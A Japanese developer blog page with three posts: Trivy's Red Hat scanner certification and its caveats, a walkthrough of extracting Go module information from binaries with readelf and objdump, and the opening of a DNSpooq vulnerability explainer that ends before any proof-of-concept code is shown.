knqyf263's blog

自分のためのメモとして残しておくためのブログ。

TrivyがRed Hatの認定脆弱性スキャナーになりました

概要

本日、Red HatからRed Hat Vulnerability Scanner Certificationという脆弱性スキャナーに対する認定プログラムが発表されました。

www.redhat.com

そして上の発表の中で私の所属企業であるAqua Securityも認定を受けたことが書かれています。つまり自分が業務として開発しているTrivyというOSS脆弱性スキャナーもRed Hatの認定を受けたことになります(というか実はTrivyだけなのですが詳細は後述)。自分のブログを見る人は既に存在は知ってくれていると思いますが一応貼っておきます。

github.com

現在認定を受けているのは Aqua Security, NeuVector, Sysdigの3社だけです。NeuVectorとSysdigは商用製品で認定を受けているはずなので、3rd partyのOSSスキャナーで認定されているのはTrivyだけということになります。Clairは現在Red Hatが開発しているので当然対応しています(ただし後述する問題は等しく存在します)。この話をもらったのは2020年11月なので、2021年2月末時点でほぼ4ヶ月経過していても認証を通った企業がほとんどいないということから要件の厳しさが分かるかと思います。また、認定のプログラム名には入っていないので若干ややこしいですが、このプログラムではコンテナイメージの脆弱性スキャナーに対する認定を行います。ベアメタルやVMのスキャナーなどは対象外となっています。認定を受けるための要件は数多くありますが、いくつかを挙げておきます。

  1. Red Hatのコンテナイメージに内在する脆弱性が正確に検知できること
  2. Red Hat Enterprise Linuxだけでなく各種プラットフォームに対応していること
  3. Red Hatによる脆弱性の深刻度を表示すること
    • NVDなどのベンダーニュートラルな組織による深刻度を使ってはならない
  4. RHSA-ID(Red Hat Security Advisory ID)を表示すること
    • 基本はCVE-IDの表示で、Red Hatにより修正済みの場合はRHSA-IDを表示する

認定スキャナーであればこれらの要件を満たしていることを保証していますので、もしRed Hatのコンテナイメージを使う場合は認定されているスキャナーの利用を推奨します。

ということで大変めでたい話なのですが、上のプレスリリースは現時点での状況とは色々と異なっており誤解を招きかねない内容になっています。黙っててもバレないとは思いますが、自分のOSSを利用しているユーザには正確に知っておいて欲しいと思ったので補足を書いておきます。

以下で述べることを知ったからといって何がどうなる内容でもないので、上の内容だけ把握しておいてもらえればほとんどの人にとっては十分かと思います。

補足

要件を満たしているスキャナーはまだこの世にない

いきなり衝撃的なことを書いていますが、事実なので詳細を記しておきます。上の要件のうち、特に2を満たすためにはRed Hatが提供しているOVAL v2というデータを脆弱性情報として利用する必要があります。OVALって何?とかは以下のブログで触れられています。

www.redhat.com

OVAL v2に対応することで上の要件の一部を満たせるようになるのですが、データ構造にかなり欠陥があり正しく実装しても誤検知してしまったり、未修正の脆弱性が検知できなかったりします。自分はOSSということで商用版を提供している各社よりフットワークが軽く、Red Hatから話をもらってすぐに実装したのですが、OVAL v2関連を始め大量のバグに直面しました。どのぐらい大量かと言うと管理しきれなくなって自分の側でチケット管理を始めたほどです。今現在チケット番号が21番まで来ています。

この辺りは仕様なのかバグなのか?の判断など正直かなり時間を取られましたが、他社のAPIに対してQAをするのは初めてだったのである意味貴重な経験でした。そういう意味ではまだ認定を受けていない会社の方がバグが洗い出されたあとに実装開始できるので賢かったかなーなどと思ったりはしました。

実はGAは元々12月の予定でした。ですが11月に話をもらって12月は他の会社も間に合わないということで1月に延期されました。自分は頑張れば間に合うぐらいだったのですが、上のバグの関係で自分側ではどうにもならずでした。そして1月に延期されたのですが、やはりバグがあり報告したところ2月上旬に延期されました。そしてさらにバグを報告したところ再度延期になり2月末になりました。

どうでも良いですがtypoしていたことに今気づきました。

実際には全てのバグを早い段階で報告していたので2月上旬などに間に合わないことは明らかだったのですが、Red Hatの複数のチームをまたいでいる関係なのか報告したバグが毎回闇に葬り去られてしまって、毎週ミーティングする度に新たなバグ報告みたいになってしまっていました。もしかして自分がタイムリープしているのか...?と頭がおかしくなりそうだったので自分側でチケット管理を始めたという経緯があります。毎週手元のチケットを確認することで「大丈夫どうやら時は戻ってなさそうだ」と自分の正気を保っていました。Red Hatを批判したいわけではなく、大企業で部署間伝言ゲームによって情報が欠落するのは自分も経験があるので仕方ないかなと思います。経験ある人も多いのではないでしょうか。途中からはあちらでもチケット管理をしてくれたので楽になりました。

ということで2月末のGAも延期になるだろうなと思っていたのですが、もう日程はずらせないということでバグは未修正のままプレスリリースを打つことが決まりました。つまり現時点ではバグの関係で上の4つの要件をすべて満たすことは出来ない状態となっています。

ワークアラウンドによってある程度要件を満たしたバージョンはリリース可能なのでGAまでに暫定版Trivyリリースします、とRed Hatに伝えたところリリースしないでと止められたので未リリースです。さすがに驚きましたしプレスリリース時点で認定スキャナー実質0なの良いのか...?と思いましたが、色々と大人の事情があるようです。とはいえかなり勘違いされそうなので一度説明しておいたほうが良いと思い本ブログを書きました。勘違いされてしまうとGitHubでIssueを受け取って対応するのはRed Hatではなく結局自分なので辛い感じになります。2月末には一番クリティカルなバグは修正される予定とのことで、それさえ直れば一応上の大きい4つの要件は満たすことが出来るようになります。

まとめると、Trivyでは(というか全スキャナーで)現在2の要件を満たせていないためRHELやUBI以外のRed Hat公式イメージの正確な検知は出来ません。ですが近い内に修正されて正しく動くようになる予定です。RHELに関しては既に正確に検知できる状態になっているため安心して使ってください。RHEL 8から導入されたModuleという概念により殆どのスキャナーはRHELでも誤検知してしまうのですがTrivyは正しく処理できます。その辺り含めバグに関係ない箇所が正しく動くことを検証してもらったため一足先に認定を受けることが出来ました。

Aqua Securityの商用版はまだ要件を満たしていない

こちらはOSS関係ないのですが、私の所属するAqua Securityでは商用版のスキャナーを提供しています。Trivyを使って商用版のスキャナーを置き換えるプロジェクトを社内ではずっとやっているのですが、顧客影響なく切り替えるのに難航していて2021年2月時点では別の実装になっています。そして上の発表ではAquaが認定を受けたと書いてあるのですが、実際には商用版のスキャナーは未対応です。未対応というか対応に着手していないです。自分が大量に知見を持っているのでプロダクトチームと協力して今後すぐに実装する予定ですが、少なくとも現時点では要件は満たせていないので注意していただければと思います。実際には全てのスキャナーがまだ要件満たしていませんが、近いところまでもまだ来ていないという意味です。

Aqua Securityの提供する1スキャナーが認定を受けたので嘘ではないのですが、誤解を招きそうだなということでここは正直に書いておきます。というか今回の認定プログラムの実装にAquaで関わったのは自分だけです。それでいて次々と問題が見つかってRed Hatへの説明を一人で頑張る日々を過ごしていて辛かったのですが、 @masahiro331 が自分の実装の検証を手伝ってくれたり一部実装してくれたりとAqua社員でないにも関わらず副業として色々と手伝ってくれました。最初の方はずっと一人でやっていて上の理由でメンタルをやられつつあったので、手伝ってもらって本当に助かりました。

どうやっても誤検知してしまうケースが存在する

要件1で"正確に検知できること"とありますが、実は設計上の問題でどうやっても誤検知してしまうケースがあります。これは例えば同一のパッケージ名が複数のプラットフォームで提供されている場合に起こり得ます。

access.redhat.com

この例ではsambaというパッケージがRed Hat Enterprise LinuxRed Hat Storage 3で提供されています。Red Hat Storage 3をスキャンしている場合にRed Hat Enterprise Linuxのセキュリティアドバイザリを使ってしまうと誤検知になるわけですが、そこの判定が現在のRed Hatのスキャン仕様では出来ません。両方のプラットフォームでRHSAが提供されていて、かつバージョニングが異なる場合にのみ起こるので頻繁に起こるようなものではありません。大量にスキャンした中で数件しか見つかりませんでした。とはいえ0ではないので少し頭に入れておくとおかしな結果が出たときに疑えるかもしれません。

Red Hatの実際に開発している人たちに確認しましたが、仕様的な問題で現時点では直しようがないそうです。つまり全てのスキャナーで同じことが起きます。今回の認定用に新たに作った仕様なので今から直せば何とかならないのかなと思いましたが、既に多くの会社を巻き込んでしまっていたので修正は難しかったようです。

ということでまとめると、仕様の欠陥により認定スキャナーであっても誤検知する可能性が僅かにあります。

まとめ

Trivyが脆弱性スキャナーとしてRed Hatから認定を受けました。ただし、Red Hat側のバグ修正が終わるまではRHELやUBI以外のイメージは正確にはスキャンできないため、今しばらくお待ち下さい。

Goのバイナリから依存するmodule情報を取り出す方法

概要

Goでビルドしたバイナリは色々な情報を含んでいます。例えばビルドに使用したGoのバージョンを取得できます。

$ go version ./test
./test: go1.15.2

そしてついこの間知ったのですが、 -m オプションを使うことで利用しているmoduleの情報も取得可能です。

$ go version -m /usr/local/bin/terraform
/usr/local/bin/terraform: go1.14.9
        path    github.com/hashicorp/terraform
        mod     github.com/hashicorp/terraform  (devel)
        dep     cloud.google.com/go     v0.45.1
        dep     github.com/Azure/azure-sdk-for-go       v45.0.0+incompatible
        dep     github.com/Azure/go-autorest/autorest   v0.11.3
        dep     github.com/Azure/go-autorest/autorest/adal      v0.9.0
        dep     github.com/Azure/go-autorest/autorest/azure/cli v0.4.0
        dep     github.com/Azure/go-autorest/autorest/date      v0.3.0
        dep     github.com/Azure/go-autorest/autorest/to        v0.4.0
        dep     github.com/Azure/go-autorest/autorest/validation        v0.3.0

Terraformは cloud.google.com/go のv0.45.1に依存していることが分かります。その他にも依存しているモジュール名とバージョンが取得できています。Terraformのgo.sumを見ると確かに一致していそうです。

github.com

知らなかったといいつつバイナリにmoduleの情報が含まれていることは以前から知っていて、どうやって取り出すのかなとずっと頭の片隅にはあったのですが、 go version で取り出せるということを今更ながら知りました。自分の開発しているOSSにとってこれは非常にありがたい情報で、面白い機能が実装できるようになります。これは後の余談で話します。

ということでこのブログではどうやって取り出すのか?という内部の挙動を説明します。いや内部知らなくても取り出せれば十分という人は上の2つのコマンドで終了しているのでこの先は不要です。

内部挙動

go version の実装がとてもシンプルで読みやすいので、気になる人は読んでみてください。

github.com

ELFバイナリの準備

ELFだと理解しやすいと思うので、Linux向けにビルドします。丁度よいサイズのバイナリということで拙作の utern を使います。

github.com

おもむろにビルドします。

$ GOOS=linux GOARCH=amd64 go build .

確かにELFになっています。

$ file utern
utern: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=BBs_Ti-Xl6qateQn0t0S/4KAWgjZw9u6WdCn8glDp/DOFaRSFJ6gpI-0q_QngG/8Gn_fV3QzFw8O3fj4dI-, not stripped

.go.buildinfo section

まず readelf でセクションヘッダを見てみます。すると中に .go.buildinfo というセクションがあることがわかります。

$ readelf -S ./utern
There are 25 section headers, starting at offset 0x1c8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         0000000000401000  00001000
       00000000004f76b4  0000000000000000  AX       0     0     32
  [ 2] .rodata           PROGBITS         00000000008f9000  004f9000
       00000000001f3ca0  0000000000000000   A       0     0     32
  [ 3] .shstrtab         STRTAB           0000000000000000  006ecca0
       00000000000001bc  0000000000000000           0     0     1
  [ 4] .typelink         PROGBITS         0000000000aece60  006ece60
       00000000000032d0  0000000000000000   A       0     0     32
  [ 5] .itablink         PROGBITS         0000000000af0130  006f0130
       0000000000000d70  0000000000000000   A       0     0     8
  [ 6] .gosymtab         PROGBITS         0000000000af0ea0  006f0ea0
       0000000000000000  0000000000000000   A       0     0     1
  [ 7] .gopclntab        PROGBITS         0000000000af0ea0  006f0ea0
       000000000024751e  0000000000000000   A       0     0     32
  [ 8] .go.buildinfo     PROGBITS         0000000000d39000  00939000
       0000000000000020  0000000000000000  WA       0     0     16
  [ 9] .noptrdata        PROGBITS         0000000000d39020  00939020
       0000000000039e40  0000000000000000  WA       0     0     32
  [10] .data             PROGBITS         0000000000d72e60  00972e60
       000000000000ed00  0000000000000000  WA       0     0     32
  [11] .bss              NOBITS           0000000000d81b60  00981b60
       00000000000333f0  0000000000000000  WA       0     0     32
  [12] .noptrbss         NOBITS           0000000000db4f60  009b4f60
       0000000000003628  0000000000000000  WA       0     0     32
  [13] .zdebug_abbrev    PROGBITS         0000000000db9000  00982000
       0000000000000119  0000000000000000           0     0     1
  [14] .zdebug_line      PROGBITS         0000000000db9119  00982119
       000000000009a650  0000000000000000           0     0     1
  [15] .zdebug_frame     PROGBITS         0000000000e53769  00a1c769
       0000000000023f48  0000000000000000           0     0     1
  [16] .zdebug_pubnames  PROGBITS         0000000000e776b1  00a406b1
       000000000000422a  0000000000000000           0     0     1
  [17] .zdebug_pubtypes  PROGBITS         0000000000e7b8db  00a448db
       000000000000f06b  0000000000000000           0     0     1
  [18] .debug_gdb_s[...] PROGBITS         0000000000e8a946  00a53946
       0000000000000040  0000000000000000           0     0     1
  [19] .zdebug_info      PROGBITS         0000000000e8a986  00a53986
       00000000000f25c6  0000000000000000           0     0     1
  [20] .zdebug_loc       PROGBITS         0000000000f7cf4c  00b45f4c
       0000000000097da5  0000000000000000           0     0     1
  [21] .zdebug_ranges    PROGBITS         0000000001014cf1  00bddcf1
       0000000000032712  0000000000000000           0     0     1
  [22] .note.go.buildid  NOTE             0000000000400f9c  00000f9c
       0000000000000064  0000000000000000   A       0     0     4
  [23] .symtab           SYMTAB           0000000000000000  00c11000
       0000000000053d60  0000000000000018          24   672     8
  [24] .strtab           STRTAB           0000000000000000  00c64d60
       000000000008cf90  0000000000000000           0     0     1$ 

objdump でこの中身を見てみます。

$ objdump -s -j .go.buildinfo ./utern

./utern:     file format elf64-x86-64

Contents of section .go.buildinfo:
 d39000 ff20476f 20627569 6c64696e 663a0800  . Go buildinf:..
 d39010 303cd700 00000000 703cd700 00000000  0<......p<......

まず先頭16バイトについて見ていきます。

f:id:knqyf263:20210212160249p:plain

最初の14バイトはマジックバイトです。 \xff Go buildinf: でなければなりません。上の値を見ると確かにそうなっています。

15バイト目はポインタのサイズです。今回は 0x08 なので8バイトです。そして最後がエンディアンで、0の場合はリトルエンディアン、0以外ならビッグエンディアンになります。

Goのバージョン

次に17バイト目以降を見ていきますが、最初の8バイトがビルドに利用したGoバージョンへのポインタになっています。正確にはこの先もさらにポインタなのでポインタのポインタです。

f:id:knqyf263:20210212160335p:plain

上で見たようにリトルエンディアンなので、アドレスは 0xd73c30 になります。

ということで 0xd73c30 をstart-addressにして16バイトほど取り出してみます。

$ objdump -s --start-address 0x00d73c30 --stop-address 0x00d73c40 ./utern

./utern:     file format elf64-x86-64

Contents of section .data:
 d73c30 f0239e00 00000000 08000000 00000000  .#..............

この先頭8バイトがGoのバージョン情報へのポインタです。後半8バイトはそのバージョンのサイズです。

f:id:knqyf263:20210212160447p:plain

アドレスが 0x9e23f0 でサイズが8バイトであることが分かります。

ではその値を取り出します。サイズが8バイトなので stop-address0x9e23f8になります。

$ gobjdump -s --start-address 0x9e23f0 --stop-address 0x9e23f8 ./utern

./utern:     file format elf64-x86-64

Contents of section .rodata:
 9e23f0 676f312e 31352e32                    go1.15.2

ということでGoのバージョンを無事に取り出せました。このバイナリはGo 1.15.2でビルドされたことが分かります。

module情報

先程は.go.buildinfo の17バイト目から24バイト目までを使ったので、今度は25バイト目から32バイト目を使います。最初の8バイトがポインタになっているので、 0xd73c70 になります。

f:id:knqyf263:20210212160557p:plain

先程と同様に16バイトほど取り出してみます。

$ gobjdump -s --start-address 0xd73c70 --stop-address 0xd73c80 ./utern

./utern:     file format elf64-x86-64

Contents of section .data:
 d73c70 f713a000 00000000 b9040000 00000000  ................

これもGoのバージョンを取り出したときと同じで、前半8バイトがポインタで後半8バイトがサイズです。つまりアドレスが 0xa013f7 でサイズが 0x04b9 になります。

stop-addressを計算すると 0xa013f7 + 0x04b9 = 0xa018b0です。

Goのバージョン同様に 0xa013f7 をstart-address、 0xa018b0 をend-addressに指定して取り出してみます。

$ gobjdump -s --start-address 0xa013f7 --stop-address 0xa018b0 ./utern

./utern:     file format elf64-x86-64

Contents of section .rodata:
 a013f7 30 77af0c92 74080241 e1c107e6 d618e6 0w...t..A.......
 a01407 70 61746809 67697468 75622e63 6f6d2f path.github.com/
 a01417 6b 6e717966 3236332f 75746572 6e0a6d knqyf263/utern.m
 a01427 6f 64096769 74687562 2e636f6d 2f6b6e od.github.com/kn
 a01437 71 79663236 332f7574 65726e09 286465 qyf263/utern.(de
 a01447 76 656c2909 0a646570 09676974 687562 vel)..dep.github
 a01457 2e 636f6d2f 6177732f 6177732d 73646b .com/aws/aws-sdk
 a01467 2d 676f0976 312e3235 2e333609 68313a -go.v1.25.36.h1:
 a01477 34 2b544c2f 59324735 68735231 7a6466 4+TL/Y2G5hsR1zdf
 a01487 48 6d6a4e47 316f7531 57457173 53576b HmjNG1ou1WEqsSWk
 a01497 38 76376d31 4761444b 796f3d0a 646570 8v7m1GaDKyo=.dep
 a014a7 09 67697468 75622e63 6f6d2f62 726961 .github.com/bria
 a014b7 6e 646f776e 732f7370 696e6e65 720976 ndowns/spinner.v
 a014c7 31 2e372e30 0968313a 61616e31 684242 1.7.0.h1:aan1hBB
 a014d7 4f 6f736372 79325458 416b6774 786b4a Ooscry2TXAkgtxkJ
 a014e7 69 71375365 302b3970 742b5455 576150 iq7Se0+9pt+TUWaP
...

確かにmodule情報が含まれていることが分かります。念の為 go version -m を見てみます。

$ go version -m ./utern
./utern: go1.15.2
        path    github.com/knqyf263/utern
        mod     github.com/knqyf263/utern       (devel)
        dep     github.com/aws/aws-sdk-go       v1.25.36        h1:4+TL/Y2G5hsR1zdfHmjNG1ou1WEqsSWk8v7m1GaDKyo=
        dep     github.com/briandowns/spinner   v1.7.0  h1:aan1hBBOoscry2TXAkgtxkJiq7Se0+9pt+TUWaPrB4g=
        dep     github.com/cpuguy83/go-md2man/v2        v2.0.0  h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
        dep     github.com/fatih/color  v1.7.0  h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
        dep     github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af      h1:pmfjZENx5imkbgOkpRUYLnmbU7UEFbjtDA2hxJ1ichM=
        dep     github.com/mattn/go-colorable   v0.1.4  h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA=
        dep     github.com/mattn/go-isatty      v0.0.10 h1:qxFzApOv4WsAL965uUPIsXzAKCZxN2p9UqdhFS4ZW10=
        dep     github.com/pkg/errors   v0.8.1  h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I=
        dep     github.com/russross/blackfriday/v2      v2.0.1  h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q=
        dep     github.com/shurcooL/sanitized_anchor_name       v1.0.0  h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo=
        dep     github.com/urfave/cli   v1.22.1 h1:+mkCCcOFKPnCmVYVcURKps1Xe+3zP90gSYGNfRkjoIY=
        dep     golang.org/x/sys        v0.0.0-20191115151921-52ab43148777      h1:wejkGHRTr38uaKRqECZlsCsJ1/TGxIyFbH32x5zUdu4=

上に含まれているデータと同じになっているようです。何かシリアライズされていて入っていて、 go version が整形して出しているのかと思いきや普通に上の表示のまま入っています。つまり改行やタブなどがそのままです。プログラムで使いたい場合は逆に整形する必要があります。

ちなみにgo.modの中でreplaceを使っている場合などは dep のところが => になったりします。

ということで簡単にGoバージョンとmodule情報を取得することが出来ました。 go version はELFだけでなくPEやMach-Oにも対応しています。

ldflagsについて

バイナリサイズ削減のため、シンボルテーブルを生成しないようにすることがあるかと思います。よく見る以下のようなオプションですね。

-ldflags '-w -s'

ありがたいことにこの場合でも .go.buildinfo は残りました。

$ GOOS=linux GOARCH=amd64 go build -ldflags '-w -s' .
$ go version -m ./utern
./utern: go1.15.2
        path    github.com/knqyf263/utern
        mod     github.com/knqyf263/utern       (devel)
        dep     github.com/aws/aws-sdk-go       v1.25.36        h1:4+TL/Y2G5hsR1zdfHmjNG1ou1WEqsSWk8v7m1GaDKyo=
        dep     github.com/briandowns/spinner   v1.7.0  h1:aan1hBBOoscry2TXAkgtxkJiq7Se0+9pt+TUWaPrB4g=
        ...

strip などしても変わらずでした。 upx を使うとさすがに消えました。

Goのソースコード

上は readelfobjdump などのコマンドラインを使って取り出す方法を説明しましたが、せっかくなのでGoのコードも少しここで追ってみます。簡単なので各自で読んだほうが早いとは思いますが、自分があとで読み返すメモとして残しておきます。

.go.buildinfo

Goのコードを見るとセクション全体を見て .go.buildinfo のアドレスを取り出しています。

   for _, s := range x.f.Sections {
        if s.Name == ".go.buildinfo" {
            return s.Addr
        }
    }

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/exe.go#L107

そして .go.builinfo には先程何回も見た以下のデータが入っています。

$ objdump -s -j .go.buildinfo ./utern

./utern:     file format elf64-x86-64

Contents of section .go.buildinfo:
 d39000 ff20476f 20627569 6c64696e 663a0800  . Go buildinf:..
 d39010 303cd700 00000000 703cd700 00000000  0<......p<......

マジックバイト

この先頭14バイトはマジックバイトになっていてその値は \xff Go buildinf: でなければなりませんでしたが、Goにそのマジックバイトが定義されています。

var buildInfoMagic = []byte("\xff Go buildinf:")

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L165)

そして15バイト目はこのあと出てくるポインタのサイズです。今回は 0x08 なので8バイトです。

ptrSize := int(data[14])

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L165

4バイトの場合はuint32として取り出してuint64に変換し、8バイトの場合はそのままint64で取り出します。ここで出てくる bo は後述するエンディアンです。今回のバイナリの場合は8バイトなので bo.Uint64 になります。

var readPtr func([]byte) uint64
if ptrSize == 4 {
    readPtr = func(b []byte) uint64 { return uint64(bo.Uint32(b)) }
} else {
    readPtr = bo.Uint64
}

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L191-L196

16バイト目はビッグエンディアンかリトルエンディアンかを表しています。0の場合はリトルエンディアンになります。ここで先程の bo に代入しています。

bigEndian := data[15] != 0
var bo binary.ByteOrder
if bigEndian {
    bo = binary.BigEndian
} else {
    bo = binary.LittleEndian
}

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L165

Goのバージョン情報へのポインタ

そして17バイト目から上の ptrSize 分(今回は8バイト)を readPtr で取り出し、そこの値を読みに行きます。今回の例では 303cd700 00000000 なので readPtr した結果は 0xd73c30 になり、そのアドレスの値を読みに行く処理が以下の readString になります。

vers = readString(x, ptrSize, readPtr, readPtr(data[16:]))

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L197

そしてポインタサイズの2倍分を読み込みます。今回は8バイトなので16バイト読み込んでいます。

hdr, err := x.ReadData(addr, uint64(2*ptrSize))
if err != nil || len(hdr) < 2*ptrSize {
    return ""
}

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L213-L216

そして前半8バイトが実際のデータへのアドレス、後半8バイトがデータサイズになっています。

dataAddr := readPtr(hdr)
dataLen := readPtr(hdr[ptrSize:])

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L217-L218

言葉だとわかりにくいと思うので図を再掲しておきます。

f:id:knqyf263:20210212160447p:plain

前半8バイトがアドレス( 0x9e23f0 )で、後半8バイトがサイズ( 0x08 )になります。

これがそれぞれ dataAddrdataLen に入ります。

あとはそのアドレス( dataAddr )にサイズ分( dataLen)アクセスするだけです。

data, err := x.ReadData(dataAddr, dataLen)
if err != nil || uint64(len(data)) < dataLen {
    return ""
}

これで以下のように go1.15.2 が得られます。

$ gobjdump -s --start-address 0x009e23f0 --stop-address 0x009e23f8 ./utern

./utern:     file format elf64-x86-64

Contents of section .rodata:
 9e23f0 676f312e 31352e32                    go1.15.2

module情報へのポインタ

先程は前半8バイトのポインタを使ったので、後半8バイトのポインタを使うだけです。実際には ptrSize をずらすので、ポインタサイズが違えば8バイトではなくなります。

mod = readString(x, ptrSize, readPtr, readPtr(data[16+ptrSize:]))

あとの流れは上と同じで、ポインタのポインタを辿っていくとmoduleデータが手に入ります。同じ readString が呼ばれているだけなので割愛します。

EXEファイルの処理

ELFだけじゃなくPEやMach-Oにも対応していると前述しましたが、それは openExe() 周りで吸収されています。バイナリの先頭を見て判断しています。あとは debug/elfNewFile を呼んでよしなにやってもらうという感じです。

  if bytes.HasPrefix(data, []byte("\x7FELF")) {
        e, err := elf.NewFile(f)
        if err != nil {
            f.Close()
            return nil, err
        }
        return &elfExe{f, e}, nil
    }

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/exe.go#L41-L48

PEやMach-Oの場合は debug/pedebug/macho を呼んでいます。

余談

最近DNS脆弱性についてブログに書いていて何かそういうセキュリティ関係者と思われている可能性があるのですが、そういった分析は本業と何も関係なくて本業ではTrivyというOSSを開発しています。これは脆弱性スキャンツールで、コンテナイメージなどを渡すと内部の脆弱性をスキャンします。何か未知の新たな脆弱性を見つけるタイプのものではなくて、CVE-IDなどが採番されている既知の脆弱性を見つけるツールになっています。OSパッケージの古いバージョンやプログラミング言語で使われるライブラリの古いバージョンなどに存在する脆弱性を見つけるのが主な役割です。

コンテナイメージ用のツールとして始めたのですが、今ではファイルシステム上のファイルだったりDockerfileに埋め込んで使えたりGitHubリポジトリのスキャンだったりにも対応しています。

github.com

Trivyは自分が趣味で開発したOSSで気づけば業務としてやることになっているのですが、Clairというこの界隈における絶対的王者を倒すために作り始めて気付けばGitHubスター数が1000差程度まで来ています。作り始めた時点でClairはスター数が5000以上もあって無理だろうと諦めつつあったのですがここに来て現実味を増してきたので、もしよろしければ応援していただけると嬉しいです(宣伝)。

話がそれましたが、Trivyは現在PythonRubyなどの言語にも対応しています。どのように検知するかと言うと各言語のパッケージマネージャが生成するロックファイルを使っています。npmでいう package-lock.json 、bundlerでいうところの Gemfile.lock です。

ですがGoには対応していません。それには2つの理由があって、Goの脆弱性データベースで使えるものがなかったためと、 go.sum はコンテナイメージ内に残さない可能性が高いためです。関係ないですが go.sum はロックファイルではないということもユーザの方から教わりました。GoはシングルバイナリにビルドできるのでDockerのマルチステージビルドなどと相性がよく、バイナリだけ置いて動かす事が多いです。スキャンしたかったら go.sum 置いてね、という運用も出来なくはないのですが美しくないですしそもそも良い脆弱性DBもないので後回しにしていました。

そこで改めて公開されているDBを見てみたところ以前はほとんど脆弱性がなかったGitLab Advisory Databaseがかなり充実してきていました。

gitlab.com

これなら十分有用だなということで go.sum を使わない方法を探していたところ、バイナリからmodule情報取り出せるということを1年前にIssueで教えてもらっていたことを思い出しました。

github.com

それで色々調べた結果、 go version が既に対応していることを知り、自分でも実装することが出来ました。以前ブログにも書いたのですが、Issueでユーザの方から教えてもらうことがとても多くていつも助かっています。情報の価値が高い現代において欲しい情報が勝手に集まってくるOSSは良いものだなと思います。

knqyf263.hatenablog.com

一方でこないだ放置していたOSSを久しぶりにメンテナンスしたら煽られたりしてOSS最悪だわとなったり、感情を揺さぶられがちなので情緒不安定にならないように気をつけましょう。

ということで脱線して長くなりましたが、結論を言うとGoでビルドしたバイナリをコンテナイメージ内に置いておくだけで脆弱性スキャンが出来るようになります!(まだ実装終わってないから出来るか断定はできないですが多分大丈夫)

コンテナに限らず手元にあるバイナリでも何でも .go.buildinfo が落とされていなければスキャンできます。個人的にはこういう機能ずっと実装したかったので嬉しい限りです。

このbuildinfoを取り出す処理はGo本体で実装済みなので関数呼ぶだけで済んで便利だな〜と思いきやinternal/の下にあって呼べませんでした。なので仕方なくコピペしつつ移植しました。コンテナイメージ内のファイルに対して使えるように多少の修正が必要だったので結果的には良かったのですが、internal/はやはりコピペを生むので微妙だな派閥になりました。上記のTrivyでもinternal/使ってるのですがexportしてくれ〜と苦情が来たりしていてあまり良い思い出がないです。

さらに余談ですがJavaの対応ももうすぐ入ります。 pom.xml は依存の依存とかは書いてなくて自前でMavenリポジトリから取得するように実装しました。単にGoでMavenの再実装をしただけになってしまいとても大変でした。それでも全部のプラグインには対応できないので完璧にはトレース出来ませんが、多くのケースでは幸せになるかと思います。他にも pom.xml ではなくてWARやJARを見てスキャンする機能も作っているので、 war として固めてコンテナイメージ内に置いただけで pom.xml はない、みたいなパターンでもスキャンできます。つまりMavenじゃなくてGradleでもOKです。この辺りの詳細はいずれ元気があれば書きます。

まとめ

TrivyがGoのバイナリに対して脆弱性スキャンかけられるようになる!!!(多分)

DNSpooqの脆弱性詳細と攻撃コード解説

概要

先日DNSpooqという脆弱性が公開されました。

www.jsof-tech.com

dnsmasqというソフトウェアに関する7つの脆弱性をまとめてDNSpooqと呼んでいて、大きく分けて2つの脆弱性種別で構成されています。

  1. DNSキャッシュポイズニング
    • CVE-2020-25686, CVE-2020-25684, CVE-2020-25685
  2. バッファーオーバーフロー
    • CVE-2020-25687, CVE-2020-25683, CVE-2020-25682, CVE-2020-25681

DNSキャッシュポイズニングとは何か?というのは調べればたくさん出てくるので解説はしませんが、ブログから図だけ引用しておきます。

https://www.jsof-tech.com/wp-content/uploads/2021/01/%D7%AA%D7%9E%D7%95%D7%A0%D7%946.png

*上記ブログより引用

バッファーオーバーフローの方はDNSSECの検証時の問題で、リモートから任意コード実行に繋がる可能性があります。

どちらかというとバッファーオーバーフローの方が危険度が高そうなことをホワイトペーパーでは書いているのですが、上記のサイトではKaminsky attack is back!と書いているぐらいなのでキャッシュポイズニングの方で注目を集めたい気配を感じます。

DNSpooq - Kaminsky attack is back!

自分もそちらに興味があったので、このブログではDNSpooqにおけるキャッシュポイズニングの仕組みについて解説して、そのあと実際に自分の書いたPoC(攻撃コード)について説明します。上でも説明しましたが、dnsmasq固有の脆弱性の話であってKaminsky attackと同等に扱うのはどうなんだろうという気もしますが、Kaminsky attackもそもそも単にBINDの実装の問題だったという指摘もあるので気にしないことにします。

